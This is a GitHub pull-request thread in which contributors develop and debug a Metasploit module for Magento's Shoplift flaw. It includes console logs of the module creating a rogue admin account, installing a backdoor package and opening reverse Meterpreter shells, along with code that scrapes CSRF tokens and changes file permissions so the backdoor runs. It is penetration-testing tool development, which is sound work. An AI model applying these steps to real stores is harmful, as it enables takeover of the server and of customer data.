Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a module for Magento's Shoplift RCE #6250

Closed
wants to merge 7 commits into from

Conversation

Projects
None yet
6 participants
@jvoisin
Copy link
Contributor

jvoisin commented Nov 17, 2015

This module exploits the infamous Magento's Shoplift vulnerability to create a new admininitrator account, then it creates a backdoor module on the fly, and install it to achieve code execution.

Tested on 1.9.0.0 CE and 1.9.1.0 CE.

Also, please squash this pull-request before merging it. If you're testing this PR, feel free to test this one at the same time.

Console output

msf > use exploit/multi/http/magento_rce
msf exploit(magento_rce) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(magento_rce) > set RPORT 8081
RPORT => 8081
msf exploit(magento_rce) > set TARGETURI /
TARGETURI => /
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account skxQaZQU/ovYoCVXg created on 192.168.1.25:8081
[*] Creating the backdoor file
[*] CSRF token obtained (nBWhtbSPjpBOB6Ag)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:43470) at 2015-11-17 16:56:55 +0100
[*] Backdoor package removed
[*] Account skxQaZQU/ovYoCVXg deleted on 192.168.1.25:8081

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.25 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(magento_rce) >

How to reproduce

  1. Get the "Community Edition" of magento on its website (Feel free to use bugmenot@mailinator.com/Password1 to log in)
  2. Install apache2 and php on your machine,
  3. Extract the Magento archive into your /var/www
  4. Launch metasploit, use exploit/multi/http/magento_rce, set options
  5. Get your meterpreter session
Add a module for Magento's Shoplift RCE
This module exploits the infamous Magento's Shoplift vulnerability
to create a new admininitrator account,
then it creates a backdoor module on the fly,
and install it to achieve code execution.
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 17, 2015

I should be able to test this.

@wchen-r7 wchen-r7 self-assigned this Nov 17, 2015

}
})

if res.code == 200

This comment has been minimized.

Copy link
@void-in

void-in Nov 17, 2015

Contributor

Should check for res here before res.code

'method' => 'POST',
'data' => "username=#{@username}&password=#{@password}" })

res = send_request_cgi({ 'uri' => uri, 'cookie' => res.get_cookies.to_s })

This comment has been minimized.

Copy link
@void-in

void-in Nov 17, 2015

Contributor

Should check for res here before res.get_cookies.to_s


res = send_request_cgi({ 'uri' => uri, 'cookie' => res.get_cookies.to_s })

res.get_cookies

This comment has been minimized.

Copy link
@void-in

void-in Nov 17, 2015

Contributor

Should check for res here before res.get_cookies

}
})

if res.code == 200

This comment has been minimized.

Copy link
@void-in

void-in Nov 17, 2015

Contributor

Should check for res before res.code

@madmike33

This comment has been minimized.

Copy link

madmike33 commented Nov 18, 2015

Great Job Again :)


res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/Cms_Wysiwyg/directive/index/'),

This comment has been minimized.

Copy link
@wchen-r7

wchen-r7 Nov 18, 2015

Contributor

Hey @jvoisin, I am testing against 1.9.0.0 and the correct URL for this request is:

normalize_uri(target_uri.path, '/index.php/admin/Cms_Wysiwyg/directive/index/')

I am not sure if this path changes based on version (or a setting). Could you please check? I am all on default settings. Thanks.

This comment has been minimized.

Copy link
@jvoisin

jvoisin Nov 23, 2015

Author Contributor

It works here with '/admin/Cms_Wysiwyg/directive/index/'.
You can test this by using the original PoC.

# CSRF token
res = send_request_cgi({ 'uri' => uri, 'cookie' => cookie })
return unless res
csrf_token = res.body.match(/input name="form_key" type="hidden" value="([^"]+)"/m).captures[0]

This comment has been minimized.

Copy link
@wchen-r7

wchen-r7 Nov 18, 2015

Contributor

I am getting this error at this line:

NoMethodError undefined method `captures' for nil:NilClass

The page I'm getting for this response says something like this:

Please re-enter your Magento Adminstration Credentials.<br/>Only administrators with full permissions will be able to log in

And I don't really see the form_key hidden input in the HTML response. Maybe something wrong with the request? I am not sure except the cookie of my request looks funny:

PHPSESSID=fia447mpj3as9n8h66kpcabnm6; PHPSESSID=deleted; PHPSESSID=bqbqems1d0ionbu4ohl9mrpf35;

This comment has been minimized.

Copy link
@jvoisin

jvoisin Nov 19, 2015

Author Contributor

I think it's because CSRF was implemented in my version, and wasn't yet in your.
The module should fingerprint this page, and get the CSRF token only if there is any.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 19, 2015

I'm going to take a look at those issues this week-end :)

@Dhamuharker

This comment has been minimized.

Copy link

Dhamuharker commented Nov 19, 2015

hi jvoisin how to magento_rce ... donwload ? send me linke ?

@wchen-r7 wchen-r7 added the delayed label Nov 19, 2015

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 19, 2015

I'm going to take a look at those issues this week-end :)

Ok thanks!

Improvements for cross-version compatibility
The main improvement here is that the CSRF token is no more
mandatory, since some versions of Magento doesn't have some
for every operation.

This module is now working on magento ce 1.9.0.0 and 1.9.1.0
@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 23, 2015

Now it's tested on 1.9.1.0 and 1.9.0.0, and it works in both cases.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 23, 2015

@jvoisin thanks, I will try again.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 24, 2015

@jvoisin I tested and this is how far I got:

msf exploit(magento_rce) > show options

Module options (exploit/multi/http/magento_rce):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.202        yes       The target address
   RPORT      80                   yes       The target port
   TARGETURI  /magento/index.php/  yes       URI to Magento
   VHOST                           no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.199    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   auto


msf exploit(magento_rce) > check
[*] 192.168.1.202:80 - The target appears to be vulnerable.
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Account GCbITyxU/WYlUpAQq created on 192.168.1.202:80
[-] Exploit aborted due to failure: bad-config: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.

Some notes:

  1. It looks like the check works by indicating the right vulnerable state.
  2. I have to set the target uri to /magento/index.php/ to get the account creation to work. But in your demo, that's not your target uri.
  3. In your module, your #get_csrf_token is looking for a form_key hidden input from the Magento downloader login page. My downloader login page does not have this hidden input. If you want, I have the HTML source for the login page here: https://gist.github.com/wchen-r7/847a8d1246395bdbf7b1

So I am a little baffled about this. Our Magento 1.9.0.0 setups are supposed to be the same, being able to create an account proves that. But for some reason, it looks like my Magento is slightly different than yours... probably just slightly, but enough to cause the exploit to fail.

I wish I could give you more info, but I don't know what kind of stuff you want... for starters, I guess I'll post screenshots of the Magento version I'm on, and the filename I downloaded:

From the downloader login page:

screen shot 2015-11-23 at 11 56 33 pm

The admin page footer:

screen shot 2015-11-23 at 11 48 48 pm

The file I downloaded for testing

  • magento-1.9.0.0.tar-2015-02-10-09-43-45.gz
  • md5:
$ md5 magento-1.9.0.0.tar-2015-02-10-09-43-45.gz 
MD5 (magento-1.9.0.0.tar-2015-02-10-09-43-45.gz) = 2b1e07bd76ffa067b4c2302803aa69a3

Please let me know if you spot anything unusual on my end. Thanks.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 25, 2015

Try to set TARGETURI to /magento instead :)

msf > use exploit/multi/http/magento_rce
msf exploit(magento_rce) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(magento_rce) > set RPORT 8080
RPORT => 8080
msf exploit(magento_rce) > set TARGETURI /index.php
TARGETURI => /index.php
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account bhFYBqfC/sNIcKrZv created on 192.168.1.25:8080
[-] Exploit aborted due to failure: bad-config: Unable to login at /index.php/downloader/index.php to get the session cookie.
[-] Exploit failed: Unable to login at /index.php/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set TARGETURI /
TARGETURI => /
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account tILmjEZa/iodlHspg created on 192.168.1.25:8080
[*] Creating the backdoor file
[*] CSRF token obtained (ueBUtBtk8YEl2vr1)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:59730) at 2015-11-25 10:20:39 +0100
getuid
[*] Backdoor package removed
[*] Account tILmjEZa/iodlHspg deleted on 192.168.1.25:8080

meterpreter > getuid
Server username: www-data (33)
meterpreter >
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 25, 2015

@jvoisin

msf > use exploits/multi/http/magento_rce
msf exploit(magento_rce) > set rhost 192.168.1.202
rhost => 192.168.1.202
msf exploit(magento_rce) > set TARGETURI /magento
TARGETURI => /magento
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[-] Exploit aborted due to failure: not-vulnerable: Unable to create the account NTcjZwNI/ETVNlUKp}.
[-] Exploit failed: Unable to login at /magento/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > 
@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 27, 2015

I'm testing on magento-1.9.0.0.tar-2015-02-10-44-23.bz2, I'm going to try with your version.

Have you tried the poc? Does it work on your side?

Also, my update should take care of the absence/presence of csrf token.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 27, 2015

I just tested on the exact same version than your, and it's working flawlessly :/

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account fcXHSqcT/DDjMUrfN created on 192.168.1.25:8888
[*] Creating the backdoor file
[*] CSRF token obtained (zeBAsBjqgqCRlc4O)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:43278) at 2015-11-27 16:59:31 +0100
[*] Backdoor package removed
[*] Account fcXHSqcT/DDjMUrfN deleted on 192.168.1.25:8888

meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.1.25 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(magento_rce) >
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 27, 2015

Have you tried the poc? Does it work on your side?

Yeah the PoC works for me:

screen shot 2015-11-27 at 11 15 57 am

screen shot 2015-11-27 at 11 18 04 am

screen shot 2015-11-27 at 11 16 47 am

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 27, 2015

@jvoisin how come your magento is on port 8080 when magento is just a folder that you can move to /var/www/html, and install? Shouldn't it be port 80? Unless you are running an installer that's configuring for you?

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 27, 2015

Since I don't have much space on my laptop, I'm running several magento instances on the same VM, the 1.9.0.0 on 8080, 1.9.1.0 on 8081, and the 1.9.0.0 from the same archive than your on 8888.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Nov 27, 2015

@jvoisin The account creation code works from both your exploit and the public PoC when the right path is given, it's just that what happens after that doesn't.

This shows that I am testing on the latest commit:

$ git checkout upstream/pr/6250
Note: checking out 'upstream/pr/6250'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b new_branch_name

HEAD is now at 7e511a2... Improvements for cross-version compatibility
msf sinn3r $ msfconsole
msf > use exploit/multi/http/magento_rce 
msf exploit(magento_rce) > show options

Module options (exploit/multi/http/magento_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /magento         yes       URI to Magento
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   auto


msf exploit(magento_rce) > set rhost 192.168.1.202
rhost => 192.168.1.202
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[-] Exploit aborted due to failure: not-vulnerable: Unable to create the account JdJMfsxg/wMfPzEKc}.
[-] Exploit failed: Unable to login at /magento/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set targeturi /magento/index.php/
targeturi => /magento/index.php/
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Account tiRfBpHx/MiYehcdr created on 192.168.1.202:80
[-] Exploit aborted due to failure: bad-config: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.
[-] Exploit failed: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set targeturi /magento/index.php
targeturi => /magento/index.php
msf exploit(magento_rce) >

Did you enable URL rewrite? I remember that being one of the settings during installation.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 27, 2015

This is my nginx configuration:

server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    }
}

For the installation, nothing funky, everything on default.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 17, 2015

I'm a bit discouraged to be honest, but I'll likely try to make this work on a fresh magento installation this week-end.

Did you checked Apache URl rewriting in the installation process ?

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Dec 17, 2015

I don't think I checked that box while installing, I'm more than happy to try again. I'll let you know, thanks!

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 20, 2015

[*] Exploit completed, but no session was created.

This is because the malicious module writes the PHP file with "666" permissions and not "644" as it should, so under the most Magento installations the PHP file won't be run.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 20, 2015

@johnlockejrr If you change to 666, does it work?

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 20, 2015

@jvoisin needs to be "644" on most installations to work, that's the reason it fails on most installations I tried. Trying to find a switch in building the module (package.xml) to force writing the PHP file with "644" permissions and not "666".

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 20, 2015

Arg, it was a typo from my side, I meant "If you change to 644, does it work?", sorry :/

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 20, 2015

Yes, with "644" works on any installations with PHP like "Apache2, Nginx, LightHTTPD", some PHP won't run a PHP script if is world-writable or group-writable. Any idea how can we achieve this with package installer?

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 20, 2015

I'm so glad someone found why @wchen-r7 couldn't get a shell ♥

Check here and here.

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 20, 2015

I even made the malicious module from Magento package manager and manually, checked if the PHP file is "644" in the *.tgz archive, and tried uploading like magento does as Content-Type: application/octet-stream but with same result file being written with "666" permission.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 20, 2015

This is weird, since the is the way magento uses to install modules, that are executables by php.

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 20, 2015

Yup, I tried using another directory than errors, like root directory of the Magento, same result, still trying since two days to figure out a way that the file will be written with 644 permissions ;-) Even changed your script as tar.add_file("errors/#{page_name}", 0644) do |io| and tar.add_file("package.xml", 0644) do |io| so the files are added as 644 in the tar file... the same result with exploit or manually from Package Manager.

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 21, 2015

Btw, @jvoisin you should add some error check when accessing the /downloader/ path, some installs have upload folder write permissions disabled so you can check the error returned in the get_csrf_token function with something like res.body.match(/Your Magento folder does not have sufficient write permissions/)

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 24, 2015

Found it! You can change default file permissions in Settings: POST /downloader/index.php?A=settingsPost HTTP/1.1' with a POST query:protocol=http&preferred_state=stable&use_custom_permissions_mode=1&mkdir_mode=755&chmod_file_mode=644&deployment_type=fs&ftp_host=&ftp_login=&ftp_password=&ftp_path=response code isHTTP/1.1 301 Moved PermanentlyorHTTP/1.1 302 Moved Temporarily`

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 24, 2015

Great! Feel free to issue a PR on top of mine :)

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 24, 2015

The function to set file permissions should look something like this:


  def set_file_permissions(cookie=nil)
    print_status "Setting custom file permissions"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/downloader/index.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => cookie,
      'vars_get' => {
        'A' => 'settingsPost'
      },
      'vars_post' => {
        'protocol' => 'http',
        'preferred_state' => 'stable',
        'use_custom_permissions_mode' => '1',
        'mkdir_mode' => '755',
        'chmod_file_mode' => '644',
        'deployment_type' => 'fs',
        'ftp_host' => '',
        'ftp_login' => '',
        'ftp_password => '',
        'ftp_path' => ''
      }
    })
    if res.code == 301 or res.code == 302
      print_status "File permissions set"
    else
      print_warnings "Error setting file permissions"
    end
  end
@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 28, 2015

Works flawlessly now ;)

@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 28, 2015

BTW, you should add check for this error Warning: Your Magento folder does not have sufficient write permissions. when accessing the /downloader/ and if found exit because there's no way to upload the malicious module.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Dec 28, 2015

Perfect then :)
I added the check.

@wchen-r7 Can you test it on your side?

@void-in

This comment has been minimized.

Copy link
Contributor

void-in commented Dec 28, 2015

@jvoisin The build failure is due to the usage of fail_with(Failure::NoAcces (line 151). The correct usage is Failure::NoAccess (final 's' is missing in your case).

Add an informative error message in case of failure
Sometimes, the application has no write permission,
we should tell the user about that.
@johnlockejrr

This comment has been minimized.

Copy link

johnlockejrr commented Dec 28, 2015

@jvoisin you should add the write permission check in obtain_session_cookie function because the Your Magento folder does not have sufficient write permissions error message is displayed on /downloader/index.php path and not when accessing settings as /downloader/index.php?A=settingsPost. Something like:


if res && res.body.include?('Your Magento folder does not have sufficient write permissions')
fail_with(Failure::NoAccess, 'Unable to upload our malicious package because the application has no write permission.')
elsif res.code == 200
# We need to split the cookie, since Magento will
# Set a cookie, delete it, then set another one.
res.get_cookies.split(' ').last
else
fail_with(Failure::BadConfig, "Unable to login at #{uri} to get the session cookie.")
end

Output:
msf exploit(magento_rce) > exploit

[] Started reverse handler on 192.168.1.2:4444
[
] Account pAocjCVi/FGWqHmjR created on 192.168.1.10:80
[-] Exploit aborted due to failure: no-access: Unable to upload our malicious package because the application has no write permission.
[-] Exploit failed: Unable to upload our malicious package because the application has no write permission.
[*] Exploit completed, but no session was created.
msf exploit(magento_rce) >

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 5, 2016

Oops sorry I was on vacation, so I didn't see your message. Yes I will try again. Thanks!

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 13, 2016

@jvoisin I finally got back to testing this today, and here's what I got:

First of all, there is a typo at line 171. Instead of res.body.include, it should be res.body.include? - you are missing the question mark.

After fixing the above typo, I ran the module, and got:

msf exploit(magento_rce) > rerun
[*] Reloading module...

[*] Started reverse handler on 192.168.1.199:4444 
[*] Account yvcmvXFg/IzRRSJIc created on 192.168.1.202:80
[*] Setting custom file permissions
[*] File permissions set
[*] Creating the backdoor file
[*] CSRF token obtained (jyF8Yr1FTQ8NkxVx)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Backdoor package removed
[*] Account yvcmvXFg/IzRRSJIc deleted on 192.168.1.202:80
[*] Exploit completed, but no session was created.

As far as I can tell, the exploit did create the malicious module in my /var/www/html/magento/var directory:

$ ls *.tgz
5696b61ee71d9jNXxhAuD.tgz

Some inspection of the tgz file:

$ tar -xf 5696b61ee71d9jNXxhAuD.tgz 
sinn3r@sinn3r-virtual-machine:/var/www/html/magento/var$ ls
5696b61ee71d9jNXxhAuD.tgz  errors  locks    package.xml
cache                      export  package  session
sinn3r@sinn3r-virtual-machine:/var/www/html/magento/var$ cd errors/
sinn3r@sinn3r-virtual-machine:/var/www/html/magento/var/errors$ ls
338.php
sinn3r@sinn3r-virtual-machine:/var/www/html/magento/var/errors$ ls -l
total 4
-r--r----- 1 sinn3r sinn3r 949 Jan 13 14:39 338.php
sinn3r@sinn3r-virtual-machine:/var/www/html/magento/var/errors$ stat -c '%a' 338.php 
440

When the exploit was requesting the malicious page, it got something like this though:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /magento/errors/385.php was not found on this server.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 192.168.1.202 Port 80</address>
</body></html>

Let me know if you need more info. I have the same Ubuntu setup.

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Jan 26, 2016

@johnlockejrr : Can you reproduce ?

wchen-r7 added a commit that referenced this pull request Mar 30, 2016

Land #6250 to unstable, Add a module for Magento's Shoplift RCE
Unable to get a reliable session. Please see #6250 for more info.
@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Mar 30, 2016

@jvoisin It looks like we have not been able to make any more progress on this - that's okay, I have moved this PR to the incomplete/unstable branch now. We can come back to this later. Thanks for the PR!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.